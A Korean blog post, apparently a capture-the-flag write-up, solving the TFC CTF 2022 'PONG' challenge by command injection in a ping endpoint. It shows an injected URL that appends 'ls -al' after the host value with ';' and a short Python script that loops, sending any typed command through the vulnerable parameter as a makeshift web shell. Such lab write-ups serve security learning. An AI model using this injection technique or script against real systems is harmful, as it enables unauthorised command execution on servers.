본문 바로가기
CTF

[TFC CTF 2022] PONG

by skyepodium 2022. 7. 30.

1. 개요

command injection 문제

 

2. 분석

커맨드 인젝션 문제이며, 거의 정석입니다.

ping 요청 위해 system call을 수행하는데,   & 또는 ;  구분자를 사용해서, 커맨드를 연속해서 입력합니다.

 

ls -al; 명령어를 삽입했고, 현재 디렉토리의 파일 목록이 보입니다.

http://01.linux.challenges.ctf.thefewchosen.com:57942/index.php?host=127.0.0.1;%20ls%20-al;

명령어 입력하는게 귀찮아서, 파이썬으로 간단한 웹쉘을 만들었습니다.

from urllib import parse
import requests

def parse_cmd(cmd):
    return parse.quote(cmd, encoding='utf-8')

def request(cmd):
    return requests.get(f"http://01.linux.challenges.ctf.thefewchosen.com:57942/index.php?host=127.0.0.1;{parse.quote(cmd, encoding='utf-8')}")

if __name__ == '__main__':
    while True:
        r = request(input())
        print('r', r.text, '\n')

'CTF' 카테고리의 다른 글

[TFC CTF 2022] RULES  (0) 2022.07.31
[TFC CTF 2022] SOURCE  (0) 2022.07.31
[TFC CTF 2022] ROBOTS AND MUSIC  (0) 2022.07.30
[TFC CTF 2022] OBSCURE  (0) 2022.07.30
[TFC CTF 2022] BASIC  (0) 2022.07.30